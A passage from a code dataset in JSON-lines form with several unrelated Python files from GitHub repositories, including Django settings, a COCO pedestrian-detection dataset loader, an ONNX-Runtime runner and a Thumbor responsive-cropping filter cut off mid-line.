\"\"\"\n# assert polar_pts.shape[0] >= 1\n# # Create root, containing box spanning all angles from 0 to 2pi, but only enough radii to cover all pts\n# self.root = PolarNode(np.min(polar_pts[:, 0]), np.max(polar_pts[:, 0]), 0.0, 2.0 * np.pi)\n#\n# def __insert_point(self, polar_node, point):\n# if not polar_node.contains(point):\n# return False\n#\n# if polar_node.is_empty():\n# polar_node.points.append(point)\n# return True\n#\n# if polar_node.is_leaf():\n# polar_node.points.append(point) # Now it is not a leaf anymore\n#\n# ## NOTE:\n# # I think that this should work if we just replace polar_equal_area_split by equal_length or\n# # something like that.\n# mid_r, mid_theta = polar_equal_area_split(polar_node.min_r, polar_node.max_r, polar_node.min_theta,\n# polar_node.max_theta)\n#\n# # Split node in four polar subnodes and add the subnode that contains the point\n# # to the tree\n# subnodes = [\n# PolarNode(mid_r, max_r, min_theta, mid_theta),\n# PolarNode(mid_r, max_r, mid_theta, max_theta),\n# PolarNode(min_r, mid_r, mid_theta, max_theta),\n# PolarNode(min_r, mid_r, min_theta, mid_theta)\n# ]\n#\n# prev_length = len(polar_node.children) # Sanity check, may be removed\n# points = [point, polar_node.points[0]] # Insert new point AND previous point into subnodes\n# for subnode in subnodes:\n# # TODO: Not tested yet, but I think this should work for the case of two points inside the same subnode (which must be recursively splitten...)\n# for p in points:\n# if subnode.contains(point):\n# polar_node.children.append(subnode)\n# self.__insert_point(subnode, point)\n#\n# assert len(polar_node.children) - prev_length == 2 # Sanity check, may be removed\n#\n# return True\n#\n# for child in polar_node.children:\n# # Return as soon as any valid subnode is found\n# if self.__insert_point(child, point):\n# return True\n#\n# return False # Shouldn't reach this point I guess?\n#\n#\n# # (1) GENERATE POINTS inside Poincaré disk via rejection sampling ————————————————————————————————————————————\n# # i.e. Generate point inside [-1,1]^2 square, and reject if STRICTLY outside unit disk.\n# points = []\n# num_points = 100\n# while len(points) != num_points:\n# pt = np.random.uniform(-1, 1, 2)\n# if np.linalg.norm(pt) < 1.0: # strict inequality\n# points.append(pt)\n#\n# # Covert to polar representation\n# points = np.array(points)\n# polar_points = cartesian_to_polar(points)\n#\n#\n# # (2) DRAWING ——————————————————————————————————————————————————————————————————————————————————————————\n# # Plotting setup (using matplotlib)\n# fig = plt.figure(figsize=(10, 10))\n# ax = fig.add_subplot(111)\n#\n# # Draw full disk boundary\n# poincare_boundary = plt.Circle((0, 0), 1.0, color='black')\n# ax.add_patch(poincare_boundary)\n#\n# # Draw hyperbolic box corresponding to root node\n# inner_circle = plt.Circle((0, 0), np.min(polar_points[:, 0]), color='purple', fill=False)\n# ax.add_patch(inner_circle)\n# outer_circle = plt.Circle((0, 0), np.max(polar_points[:, 0]), color='blue', fill=False)\n# ax.add_patch(outer_circle)\n#\n#\n# # NOTE: better to keep all calculations in radians and *only* convert it to\n# # degrees when it is time to display the result using patches.Wed\n# # TODO: refactor the following into a separate class storing PolarNodes\n# min_r, max_r, min_theta, max_theta = np.min(polar_points[:, 0]), np.max(polar_points[:, 0]), 0.0, 2 * np.pi\n# for _ in range(8):\n# mid_r, mid_theta = polar_equal_area_split(min_r, max_r, 0.0, max_theta)\n# wedge = patches.Wedge((0, 0), r=max_r, theta1=np.degrees(mid_theta), theta2=np.degrees(max_theta),\n# width=(max_r - mid_r), color='cyan', fill=False)\n# ax.add_patch(wedge)\n#\n# max_r = mid_r\n# max_theta = mid_theta\n#\n# min_r, max_r, min_theta, max_theta = np.min(polar_points[:, 0]), np.max(polar_points[:, 0]), 0.0, 2 * np.pi\n# for _ in range(8):\n# mid_r, mid_theta = polar_equal_area_split(min_r, max_r, 0.0, max_theta)\n# print(mid_r, mid_theta)\n# wedge = patches.Wedge((0, 0), r=mid_r, theta1=0, theta2=np.degrees(mid_theta), width=(mid_r - min_r), color='cyan',\n# fill=False)\n# ax.add_patch(wedge)\n#\n# max_r = mid_r\n# max_theta = mid_theta\n#\n# ax.scatter(\n# x=[points[:, 0]],\n# y=[points[:, 1]],\n# marker='o', alpha=0.9, color='white', s=1.0)\n#\n# plt.show()\n","repo_name":"ms6166/approximate-nearest-neighbors","sub_path":"src/polar_quadtree2.py","file_name":"polar_quadtree2.py","file_ext":"py","file_size_in_byte":17564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"6141882738","text":"\"\"\"\nDjango settings for a sample app interacting\nwith the DjaoDjin subscription session proxy.\n\"\"\"\n\nimport os, sys\nfrom deployutils import load_config, update_settings\n\n# Build paths inside the project like this: os.path.join(BASE_DIR, ...)\nBASE_DIR = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\nAPP_NAME = os.path.basename(BASE_DIR)\n\nupdate_settings(sys.modules[__name__],\n load_config(APP_NAME, 'credentials', 'site.conf', verbose=True,\n s3_bucket=os.getenv(\"SETTINGS_BUCKET\", None),\n passphrase=os.getenv(\"SETTINGS_CRYPT_KEY\", None)))\n\nif os.getenv('DEBUG'):\n # Enable override on command line.\n DEBUG = True if int(os.getenv('DEBUG')) > 0 else False\n\n# Application definition\nINSTALLED_APPS = [\n 'django.contrib.admin',\n 'django.contrib.auth',\n 'django.contrib.contenttypes',\n 'django.contrib.sessions',\n 'django.contrib.messages',\n 'django.contrib.staticfiles',\n 'deployutils'\n]\n\n\nLOGGING = {\n 'version': 1,\n 'disable_existing_loggers': False,\n 'filters': {\n 'require_debug_false': {\n '()': 'django.utils.log.RequireDebugFalse'\n },\n },\n 'formatters': {\n 'simple': {\n 'format': 'X X %(levelname)s [%(asctime)s] %(message)s',\n 'datefmt': '%d/%b/%Y:%H:%M:%S %z'\n },\n },\n 'handlers': {\n 'logfile': {\n 'level':'DEBUG',\n 'formatter': 'simple',\n 'class':'logging.handlers.WatchedFileHandler',\n 'filename': LOG_FILE\n },\n 'mail_admins': {\n 'level': 'ERROR',\n 'filters': ['require_debug_false'],\n 'class': 'django.utils.log.AdminEmailHandler'\n }\n },\n 'loggers': {\n 'deployutils': {\n 'handlers': [],\n 'level': 'INFO',\n },\n 'django.request': {\n 'handlers': [],\n 'level': 'ERROR',\n },\n # This is the root logger.\n # The level will only be taken into account if the record is not\n # propagated from a child logger.\n #https://docs.python.org/2/library/logging.html#logging.Logger.propagate\n '': {\n 'handlers': ['logfile', 'mail_admins'],\n 'level': 'INFO'\n },\n },\n}\n\nif DEBUG:\n LOGGING['handlers'].update({\n 'logfile':{\n 'level':'DEBUG',\n 'class':'logging.StreamHandler',\n 'formatter': 'simple',\n },\n })\n\nROOT_URLCONF = 'django_app.urls'\nWSGI_APPLICATION = 'django_app.wsgi.application'\n\n\nMIDDLEWARE_CLASSES = [\n 'django.middleware.security.SecurityMiddleware',\n 'deployutils.middleware.SessionMiddleware',\n 'django.middleware.common.CommonMiddleware',\n 'django.middleware.csrf.CsrfViewMiddleware',\n 'django.contrib.auth.middleware.AuthenticationMiddleware',\n 'django.contrib.messages.middleware.MessageMiddleware',\n 'django.middleware.clickjacking.XFrameOptionsMiddleware',\n]\n\n\n# Static assets\n# -------------\n\n# Static files (CSS, JavaScript, Images)\n# https://docs.djangoproject.com/en/1.9/howto/static-files/\nSTATIC_URL = '/static/'\n\n\n# Templates\n# ---------\nTEMPLATES = [\n {\n 'BACKEND': 'django.template.backends.django.DjangoTemplates',\n 'DIRS': [os.path.join(BASE_DIR, APP_NAME, 'templates')],\n 'APP_DIRS': True,\n 'OPTIONS': {\n 'context_processors': [\n 'django.template.context_processors.debug',\n 'django.template.context_processors.request',\n 'django.contrib.auth.context_processors.auth',\n 'django.contrib.messages.context_processors.messages',\n ],\n },\n },\n]\n\n\n# Database\n# https://docs.djangoproject.com/en/1.9/ref/settings/#databases\nDATABASES = {\n 'default': {\n 'ENGINE': 'django.db.backends.sqlite3',\n 'NAME': DB_NAME,\n }\n}\n\n\n# User settings\n# -------------\n\n# The Django Middleware expects to find the authentication backend\n# before returning an authenticated user model.\nAUTHENTICATION_BACKENDS = (\n 'deployutils.backends.auth.ProxyUserBackend',)\n\n# https://docs.djangoproject.com/en/1.9/ref/settings/#auth-password-validators\nAUTH_PASSWORD_VALIDATORS = [{\n'NAME': 'django.contrib.auth.password_validation.UserAttributeSimilarityValidator',\n }, {\n'NAME': 'django.contrib.auth.password_validation.MinimumLengthValidator',\n }, {\n'NAME': 'django.contrib.auth.password_validation.CommonPasswordValidator',\n }, {\n'NAME': 'django.contrib.auth.password_validation.NumericPasswordValidator',\n },\n]\n\n# Session settings\n# ----------------\n# The default session serializer switched to JSONSerializer in Django 1.6\n# but just to be sure:\nSESSION_SERIALIZER = 'django.contrib.sessions.serializers.JSONSerializer'\nSESSION_ENGINE = 'deployutils.backends.encrypted_cookies'\n\nDEPLOYUTILS = {\n 'ALLOWED_NO_SESSION': [\n STATIC_URL,\n ]\n}\n\n\n# Internationalization\n# https://docs.djangoproject.com/en/1.9/topics/i18n/\nLANGUAGE_CODE = 'en-us'\nTIME_ZONE = 'UTC'\nUSE_I18N = True\nUSE_L10N = True\nUSE_TZ = True\n","repo_name":"djaodjin/sample-apps","sub_path":"py-django/django_app/settings.py","file_name":"settings.py","file_ext":"py","file_size_in_byte":5027,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"2036001406","text":"#!/usr/bin/env python\n#\n# Convert contrast curve into portable graymap (PGM) file.\n#\n\nimport sys\nimport re\n\nif len(sys.argv) != 2:\n print(\"Usage: %s PATH_TO_CURVE\" % (sys.argv[0]))\n exit(1)\n\nvalues = []\nwith open(sys.argv[1]) as f:\n data = f.read()\n for v in data.split(\",\"):\n m = re.search(\"(\\d+\\.\\d+)f?\", v)\n if m:\n values.append(float(m.group(1)))\n\nprint(\"P2 %d 1 255\" % (len(values)))\nprint(\" \".join([\"%d\" % (int(x * 255)) for x in values]))\n","repo_name":"hdoverobinson/wx-star_false-color","sub_path":"goestools/curve_to_pgm.py","file_name":"curve_to_pgm.py","file_ext":"py","file_size_in_byte":483,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"82"} +{"seq_id":"34475437622","text":"from random import shuffle\n\nrows = int(input())\ncols = int(input())\n\nnums = list(map(str,range(rows * cols)))\nshuffle(nums)\n\nprint(rows)\nprint(cols)\nfor row in range(rows):\n\tprint(\" \".join(nums[row * cols:row * cols + cols]))\n","repo_name":"07734willy/CoderTrials","sub_path":"num_snake/gen.py","file_name":"gen.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"72591273548","text":"import torch.utils.data as data\nfrom PIL import ImageFile\nImageFile.LOAD_TRUNCATED_IMAGES=True\n\nimport os\nimport os.path\n\nimport random\nimport torch\nimport numpy as np\nimport copy\n\nimport time\nfrom core.data.transforms.peddet_transforms import PedestrainDetectionAugmentation, SparseRCNNPedestrainDetectionAugmentation\n\nfrom core.data.datasets.images.seg_dataset_dev import Instances\nfrom typing import *\n\nfrom core import distributed_utils as dist\n\nfrom petrelbox.io import PetrelHelper\nfrom pycocotools.coco import COCO\n\nfrom collections import defaultdict\n\n__all__ = ['PedestrainDetectionDataset']\n\nclass PetrelCOCO(COCO):\n def __init__(self, annotation_file=None, annotation=None):\n \"\"\"\n Constructor of Microsoft COCO helper class for reading and visualizing annotations.\n :param annotation_file (str): location of annotation file\n :param image_folder (str): location to the folder that hosts images.\n :return:\n \"\"\"\n # load dataset\n self.dataset, self.anns, self.cats, self.imgs = dict(), dict(), dict(), dict()\n self.imgToAnns, self.catToImgs = defaultdict(list), defaultdict(list)\n assert not (annotation_file is not None and annotation_file is not None)\n if annotation_file is not None:\n print('loading annotations into memory...')\n tic = time.time()\n dataset = PetrelHelper.load_json(annotation_file)\n assert type(dataset) == dict, 'annotation file format {} not supported'.format(type(dataset))\n print('Done (t={:0.2f}s)'.format(time.time() - tic))\n self.dataset = dataset\n self.createIndex()\n\n if annotation is not None:\n print('adding annotations into memory...')\n tic = time.time()\n dataset = annotation\n self.dataset = dataset\n self.createIndex()\n\ndef convert_coco_poly_to_mask(segmentations, height, width):\n masks = []\n for polygons in segmentations:\n rles = coco_mask.frPyObjects(polygons, height, width)\n mask = coco_mask.decode(rles)\n if len(mask.shape) < 3:\n mask = mask[..., None]\n mask = torch.as_tensor(mask, dtype=torch.uint8)\n mask = mask.any(dim=2)\n masks.append(mask)\n if masks:\n masks = torch.stack(masks, dim=0)\n else:\n masks = torch.zeros((0, height, width), dtype=torch.uint8)\n return masks\n\nclass ConvertCocoPolysToMask(object):\n def __init__(self, return_masks=False):\n self.return_masks = return_masks\n\n def __call__(self, image, target):\n w, h = image.size\n\n image_id = target[\"image_id\"]\n image_id = torch.tensor([image_id])\n\n anno = target[\"annotations\"]\n\n boxes = [obj[\"bbox\"] for obj in anno]\n # guard against no boxes via resizing\n boxes = torch.as_tensor(boxes, dtype=torch.float32).reshape(-1, 4)\n boxes[:, 2:] += boxes[:, :2]\n boxes[:, 0::2].clamp_(min=0, max=w)\n boxes[:, 1::2].clamp_(min=0, max=h)\n\n classes = [obj[\"category_id\"] for obj in anno]\n classes = torch.tensor(classes, dtype=torch.int64)\n\n if self.return_masks:\n segmentations = [obj[\"segmentation\"] for obj in anno]\n masks = convert_coco_poly_to_mask(segmentations, h, w)\n\n keypoints = None\n if anno and \"keypoints\" in anno[0]:\n keypoints = [obj[\"keypoints\"] for obj in anno]\n keypoints = torch.as_tensor(keypoints, dtype=torch.float32)\n num_keypoints = keypoints.shape[0]\n if num_keypoints:\n keypoints = keypoints.view(num_keypoints, -1, 3)\n\n keep = (boxes[:, 3] > boxes[:, 1]) & (boxes[:, 2] > boxes[:, 0])\n\n # for conversion to coco api\n area = torch.tensor([obj[\"area\"] for obj in anno])\n iscrowd = torch.BoolTensor([obj[\"iscrowd\"] if \"iscrowd\" in obj else 0 for obj in anno])\n iscrowd |= classes != 0\n\n target = {}\n target[\"boxes\"] = boxes[keep]\n target[\"labels\"] = classes[keep]\n if self.return_masks:\n target[\"masks\"] = masks[keep]\n target[\"image_id\"] = image_id\n if keypoints is not None:\n target[\"keypoints\"] = keypoints[keep]\n\n target[\"area\"] = area[keep]\n target[\"iscrowd\"] = iscrowd[keep]\n\n target[\"orig_size\"] = torch.as_tensor([int(h), int(w)])\n target[\"size\"] = torch.as_tensor([int(h), int(w)])\n\n return image, target\n\n\nclass CocoDetection(data.Dataset):\n \"\"\"`MS Coco Detection `_ Dataset.\n\n Args:\n root (string): Root directory where images are downloaded to.\n annFile (string): Path to json annotation file.\n transform (callable, optional): A function/transform that takes in an PIL image\n and returns a transformed version. E.g, ``transforms.ToTensor``\n target_transform (callable, optional): A function/transform that takes in the\n target and transforms it.\n \"\"\"\n\n def __init__(self, ann, phase, transform=None, target_transform=None, data_use_ratio=1, dataset_name=None):\n self.dataset_name = dataset_name\n self.coco = PetrelCOCO(annotation=ann)\n\n self.ids = list(self.coco.imgs.keys())\n\n if data_use_ratio != 1:\n self.ids = random.sample(self.ids, int(len(self.ids) * data_use_ratio))\n\n assert phase in ['train', 'val']\n self.transform = transform\n self.phase = phase\n self.target_transform = target_transform\n\n self.rank = dist.get_rank()\n self.world_size = dist.get_world_size()\n\n self.initialized = True\n\n def _init_memcached(self):\n if not self.initialized:\n ## only use mc default\n print(\"==> will load files from local machine\")\n server_list_config_file = \"/mnt/lustre/share/memcached_client/server_list.conf\"\n client_config_file = \"/mnt/lustre/share/memcached_client/client.conf\"\n self.memcached_mclient = mc.MemcachedClient.GetInstance(server_list_config_file, client_config_file)\n ## mc-support-ceph\n print('mc-support-ceph')\n self.ceph_mclient = s3client\n\n self.initialized = True\n\n def _read_one(self, index=None):\n \"\"\"\n Args:\n index (int): Index\n\n Returns:\n tuple: Tuple (image, target). target is the object returned by ``coco.loadAnns``.\n \"\"\"\n if index is None:\n index = np.random.randint(len(self.ids))\n\n coco = self.coco\n img_id = self.ids[index]\n flag = self.flag[index]\n\n ann_ids = coco.getAnnIds(imgIds=img_id)\n target = copy.deepcopy(coco.loadAnns(ann_ids))\n\n for one_target in target:\n if 'segmentation' in one_target: del one_target['segmentation']\n if 'keypoints' in one_target: del one_target['keypoints']\n\n path = coco.loadImgs(img_id)[0]['file_name']\n img_root = coco.loadImgs(img_id)[0]['img_root']\n imgname = os.path.splitext(path)[0]\n\n if self.dataset_name == 'CrowdHuman' and path.endswith('.png'):\n path = path.replace('.png', '.jpg')\n\n filename = os.path.join(img_root, path)\n try:\n img = PetrelHelper.pil_open(filename, \"RGB\")\n if img is None:\n raise Exception(\"None Image\")\n except:\n outputName = \"failed_to_read_in_train.txt\"\n with open(outputName,\"a\") as g:\n g.write(\"%s\\n\"%(filename))\n print('Read image[{}] failed ({})'.format(index, filename))\n ## if fail then recursive call _read_one without idx\n return self._read_one()\n else:\n output = dict()\n ##set random_seed with img idx\n random.seed(index+self.rank)\n np.random.seed(index+self.rank)\n\n if self.transform is not None:\n img = self.transform(img)\n\n if self.target_transform is not None:\n target = self.target_transform(target)\n\n return img, target, imgname, flag\n\n def __getitem__(self, index):\n \"\"\"\n Args:\n index (int): Index\n\n Returns:\n tuple: Tuple (image, target). target is the object returned by ``coco.loadAnns``.\n \"\"\"\n self._init_memcached()\n img, target, imgname, flag = self._read_one(index)\n\n return img, target, imgname, flag\n\n def __len__(self):\n return len(self.ids)\n\n def __repr__(self):\n fmt_str = 'Dataset ' + self.__class__.__name__ + '\\n'\n fmt_str += ' Number of datapoints: {}\\n'.format(self.__len__())\n tmp = ' Transforms (if any): '\n fmt_str += '{0}{1}\\n'.format(tmp, self.transform.__repr__().replace('\\n', '\\n' + ' ' * len(tmp)))\n tmp = ' Target Transforms (if any): '\n fmt_str += '{0}{1}'.format(tmp, self.target_transform.__repr__().replace('\\n', '\\n' + ' ' * len(tmp)))\n return fmt_str\n\n\ndef coco_merge(\n img_root_list: List[str], input_list: List[str],\n indent: Optional[int] = None,\n) -> str:\n \"\"\"Merge COCO annotation files.\n\n Args:\n input_extend: Path to input file to be extended.\n input_add: Path to input file to be added.\n output_file : Path to output file with merged annotations.\n indent: Argument passed to `json.dump`. See https://docs.python.org/3/library/json.html#json.dump.\n \"\"\"\n data_list = []\n\n for input in input_list:\n data_extend = PetrelHelper.load_json(input)\n data_list.append(data_extend)\n\n output= {'categories': data_list[0]['categories']}\n\n output[\"images\"], output[\"annotations\"] = [], []\n\n for i, (data, img_root) in enumerate(zip(data_list, img_root_list)):\n\n print(\n \"Input {}: {} images, {} annotations\".format(\n i + 1, len(data[\"images\"]), len(data[\"annotations\"])\n )\n )\n\n cat_id_map = {}\n for new_cat in data[\"categories\"]:\n new_id = None\n for output_cat in output[\"categories\"]:\n if new_cat[\"name\"] == output_cat[\"name\"]:\n new_id = output_cat[\"id\"]\n break\n\n if new_id is not None:\n cat_id_map[new_cat[\"id\"]] = new_id\n else:\n new_cat_id = max(c[\"id\"] for c in output[\"categories\"]) + 1\n cat_id_map[new_cat[\"id\"]] = new_cat_id\n new_cat[\"id\"] = new_cat_id\n output[\"categories\"].append(new_cat)\n\n img_id_map = {}\n for image in data[\"images\"]:\n n_imgs = len(output[\"images\"])\n img_id_map[image[\"id\"]] = n_imgs\n image[\"id\"] = n_imgs\n image[\"img_root\"] = img_root\n\n output[\"images\"].append(image)\n\n for annotation in data[\"annotations\"]:\n n_anns = len(output[\"annotations\"])\n annotation[\"id\"] = n_anns\n annotation[\"image_id\"] = img_id_map[annotation[\"image_id\"]]\n annotation[\"category_id\"] = cat_id_map[annotation[\"category_id\"]]\n\n output[\"annotations\"].append(annotation)\n\n print(\n \"Result: {} images, {} annotations\".format(\n len(output[\"images\"]), len(output[\"annotations\"])\n )\n )\n\n return output\n\n\nclass PedestrainDetectionDataset(CocoDetection):\n def __init__(self, ginfo, augmentation, task_spec, train=True, vit=False, sparsercnn=False, data_use_ratio=1, dataset_name=None, **kwargs):\n img_folder = task_spec['img_folder']\n ann_file = task_spec['ann_file']\n\n ann = coco_merge(img_folder, ann_file)\n\n return_masks = task_spec['return_masks']\n phase = 'train' if train else 'val'\n super(PedestrainDetectionDataset, self).__init__(ann=ann, phase=phase, data_use_ratio=data_use_ratio, dataset_name=dataset_name)\n if sparsercnn:\n max_size = augmentation.get('max_size', 1024)\n transforms = SparseRCNNPedestrainDetectionAugmentation(phase=phase, vit=vit, max_size=max_size)\n else:\n max_size = augmentation.get('max_size', 1024)\n transforms = PedestrainDetectionAugmentation(phase=phase, vit=vit, max_size=max_size)\n\n name2wh = {}\n for img_id in self.ids:\n img_name = self.coco.loadImgs(img_id)[0]['file_name'].split('.')[0]\n height = self.coco.loadImgs(img_id)[0]['height']\n width = self.coco.loadImgs(img_id)[0]['width']\n name2wh[img_name]={'width':width, 'height': height}\n\n self.flag = np.zeros(len(self.ids), dtype=np.uint8)\n self.img_id2index = {}\n for i, img_id in enumerate(self.ids):\n self.img_id2index[img_id] = i\n img_info = self.coco.loadImgs(img_id)[0]['file_name'].split('.')[0]\n if name2wh[img_info]['width'] / name2wh[img_info]['height'] > 1:\n self.flag[i] = 1\n\n self._transforms = transforms\n self.phase = phase\n self.prepare = ConvertCocoPolysToMask(return_masks)\n self.task_name = ginfo.task_name\n\n def _filter_ignores(self, target):\n\n # annotations = target['annotations']\n # cates = np.array([rb['category_id'] for rb in annotations])\n target = list(filter(lambda rb: rb['category_id'] > -1, target))\n # target['annotations'] = annotations\n return target\n\n def _minus_target_label(self, target, value):\n\n results = []\n for t in target:\n t['category_id'] -= value\n results.append(t)\n return results\n\n def __getitem__(self, idx):\n dataset_dict = {}\n img, target, imgname, flag = super(PedestrainDetectionDataset, self).__getitem__(idx)\n\n target = self._minus_target_label(target, 1)\n total = len(target)\n image_id = self.ids[idx]\n\n target = {'image_id': image_id, 'annotations': target}\n img, target = self.prepare(img, target)\n image_shape = (img.size[-1], img.size[-2]) # h, w\n self._record_image_size(dataset_dict, img)\n\n if self._transforms is not None:\n img, target = self._transforms(img, target)\n\n dataset_dict['orig_size'] = target['orig_size']\n dataset_dict['size'] = target['size']\n del target['image_id']\n del target['orig_size']\n del target['size']\n\n instances = Instances(image_shape, **target)\n\n dataset_dict[\"image\"] = img\n dataset_dict[\"image_id\"] = image_id\n dataset_dict[\"label\"] = -1\n dataset_dict[\"instances\"] = instances\n dataset_dict[\"filename\"] = imgname\n dataset_dict[\"flag\"] = flag\n\n return dataset_dict\n\n @staticmethod\n def _record_image_size(dataset_dict, image):\n \"\"\"\n Raise an error if the image does not match the size specified in the dict.\n \"\"\"\n # To ensure bbox always remap to original image size\n if \"width\" not in dataset_dict:\n dataset_dict[\"width\"] = image.size[1]\n if \"height\" not in dataset_dict:\n dataset_dict[\"height\"] = image.size[0]\n","repo_name":"OpenGVLab/HumanBench","sub_path":"PATH/core/data/datasets/images/peddet_dataset.py","file_name":"peddet_dataset.py","file_ext":"py","file_size_in_byte":15144,"program_lang":"python","lang":"en","doc_type":"code","stars":160,"dataset":"github-code","pt":"82"} +{"seq_id":"40190907432","text":"import time\n\nfrom flask import request\n\ndb = [\n {\n 'text': 'Привет',\n 'time': time.time(),\n 'name': 'Nick'\n },\n {\n 'text': 'Привет, Nick',\n 'time': time.time(),\n 'name': 'Jane'\n }\n]\n\n\ndef print_message(message):\n print(message['time'], message['name'])\n print(message['text'])\n print()\n\n\ndef print_messages(db):\n for message in db:\n print_message(message)\n\n\ndef send_message(name, text):\n message = {\n 'text': text,\n 'time': time.time(),\n 'name': name\n }\n db.append(message)\n\n\ndef get_messages(after):\n res = []\n for message in db:\n if message['time'] > after:\n res.append(message)\n return res\n\n\nsend_message('Nick', 'Привет')\n\nmessages = get_messages(0)\nprint_messages(messages)\n\nsend_message('Nick', 'Привет2')\n\nmessages = get_messages(messages[-1]['time'])\nprint_messages(messages)\n\nmessages = get_messages(messages[-1]['time'])\nprint_messages(messages)\n\n","repo_name":"arigatory/pythonChat","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1012,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9743168824","text":"import time\nfrom collections import OrderedDict\n\nimport numpy as np\nfrom polygraphy.backend.base import BaseRunner\nfrom polygraphy.common import TensorMetadata\nfrom polygraphy.util import misc\n\n\nclass OnnxrtRunner(BaseRunner):\n \"\"\"\n Runs inference using an ONNX-Runtime inference session.\n \"\"\"\n def __init__(self, sess, name=None):\n \"\"\"\n Args:\n sess (Callable() -> onnxruntime.InferenceSession):\n A callable that can supply an ONNX-Runtime inferences session.\n \"\"\"\n super().__init__(name=name, prefix=\"onnxrt-runner\")\n self._sess = sess\n\n\n def activate_impl(self):\n self.sess, _ = misc.try_call(self._sess)\n\n\n def deactivate_impl(self):\n self.sess = None\n\n\n def infer_impl(self, feed_dict):\n start = time.time()\n inference_outputs = self.sess.run(None, feed_dict)\n end = time.time()\n\n out_dict = OrderedDict()\n for node, out in zip(self.sess.get_outputs(), inference_outputs):\n out_dict[node.name] = out\n self.inference_time = end - start\n return out_dict\n\n\n def get_input_metadata(self):\n ONNX_RT_TYPE_TO_NP = {\n \"tensor(double)\": np.float64,\n \"tensor(float)\": np.float32,\n \"tensor(float16)\": np.float16,\n \"tensor(int16)\": np.int16,\n \"tensor(int32)\": np.int32,\n \"tensor(int64)\": np.int64,\n \"tensor(int8)\": np.int8,\n \"tensor(uint16)\": np.uint16,\n \"tensor(uint32)\": np.uint32,\n \"tensor(uint64)\": np.uint64,\n \"tensor(uint8)\": np.uint8,\n \"tensor(bool)\": np.bool,\n }\n\n def process_shape(shape):\n # dims can be strings to indicate dynamic dimensions. Polygraphy uses None for the same purpose\n return [None if not isinstance(elem, int) else elem for elem in shape]\n\n meta = TensorMetadata()\n for node in self.sess.get_inputs():\n meta.add(node.name, dtype=ONNX_RT_TYPE_TO_NP[node.type], shape=process_shape(node.shape))\n return meta\n","repo_name":"AIS-Bonn/JetsonTRTPerception","sub_path":"TensorRT/tools/Polygraphy/polygraphy/backend/onnxrt/runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":2097,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"82"} +{"seq_id":"12301105964","text":"# coding: utf-8\nfrom __future__ import unicode_literals, absolute_import\n\nimport logging\nfrom collections import namedtuple\n\nfrom thumbor.filters import BaseFilter, filter_method, PHASE_AFTER_LOAD\n\nfrom .xmp.v01 import Xmp_API # Support multiple versions in the future.\n\nlogger = logging.getLogger('universalimages.filters')\n\nPoint = namedtuple('Point', ['x', 'y'])\n\n\nclass Filter(BaseFilter):\n \"\"\"\n This filter crops images according to the rules defined in the XMP metadata.\n https://github.com/universalimages/rmd\n\n It sets the request.crop, request.should_crop and smart properties\n in the context.\n\n Once the crop values are set, the image is then cropped and resized by Thumbor.\n \"\"\"\n\n phase = PHASE_AFTER_LOAD\n\n def __init__(self, params, context=None):\n super(Filter, self).__init__(params, context)\n # TODO: Extract RMD version and import the correct API.\n self.xmp = Xmp_API()\n\n @filter_method()\n def rmd(self):\n \"\"\"\n Main filter method. Sets the crop values in the request.\n :param initial_dpr: display resolution of the target device,\n relative to the CSS pixel.\n :type initial_dpr: float\n \"\"\"\n logger.debug('RMD Filter called')\n if not self.engine.metadata:\n logger.debug('No metadata found. Skipping RMD filter.')\n return False\n\n self.xmp.metadata = self.engine.metadata\n\n # check for rmd namespace\n\n if not self.xmp.check_valid(self.engine.size):\n logger.debug('XMP Data is invalid')\n return\n\n # initialize values\n min_area = None #  x0, y0, x1, y1\n crop = (0, 0) + self.engine.size #  x0, y0, x1, y1\n should_crop = False\n\n # target size is in display independent pixels\n target_width, target_height = \\\n self.context.transformer.get_target_dimensions()\n target_aspect = float(target_width) / target_height\n interpolation = self.xmp.get_value_for(b'Xmp.rmd.Interpolation') or 'step'\n source_aspect = self.engine.size[1] / self.engine.size[0]\n\n # Get the pivot point\n pivot_point = self._get_pivot_point()\n # Check if a CropArea is defined:\n crop_area = self.xmp.get_area_values_for(b'Xmp.rmd.CropArea')\n crop_area_aspect_ratio = source_aspect\n if crop_area:\n crop, should_crop, commit, crop_area_aspect_ratio = self._process_crop_area(\n crop_area=crop_area, context=self.context,\n target_width=target_width, target_height=target_height)\n if commit:\n logger.debug('Crop Area is defined and final.')\n return self._commit(crop, should_crop)\n\n target_width, target_height = \\\n self.context.transformer.get_target_dimensions()\n\n # Check if responsive Cropping is allowed\n if not self.xmp.check_allowed():\n self.context.request.fit_in = True\n logger.debug('Responsive Cropping is not allowed.')\n return self._commit(crop, False)\n\n # If no MinWidth is defined, check for a Safety Area. Use the CropArea\n # as the new reference width for the linear algorithm\n\n # If crop_min_width is none, then just check the recommended\n # and the safety areas.\n\n # Check if the requested size is larger than the safety area\n safe_area = self.xmp.get_area_values_for(b'Xmp.rmd.SafeArea')\n safe_area_absolute = None\n\n if safe_area:\n crop, should_crop, commit, safe_area_absolute = self._process_safe_area(\n crop, should_crop, safe_area, target_width, target_height, pivot_point)\n if commit:\n logger.debug('Image is smaller than the safe area.')\n return self._commit(crop, should_crop)\n\n # Look for the ideal region.\n\n if interpolation == 'linear':\n crop, should_crop = self._process_linear_interpolation(\n crop, crop_area, crop_area_aspect_ratio, safe_area,\n target_width, target_height, target_aspect,\n pivot_point, safe_area_absolute)\n else:\n # find recommended crop\n # check aspect ratio\n logger.debug('Looking for best recommended crop area')\n recommended_frames = self.xmp.get_area_values_for_array(b'Xmp.rmd.RecommendedFrames')\n good_frames = []\n if not recommended_frames:\n logger.debug('No recommended frames found.')\n return self._commit(crop, should_crop)\n for frame in recommended_frames:\n if not ('MinWidth' in frame and int(frame['MinWidth']) > target_width or\n 'MaxWidth' in frame and int(frame['MaxWidth']) < target_width or\n 'MinAspectRatio' in frame and float(\n 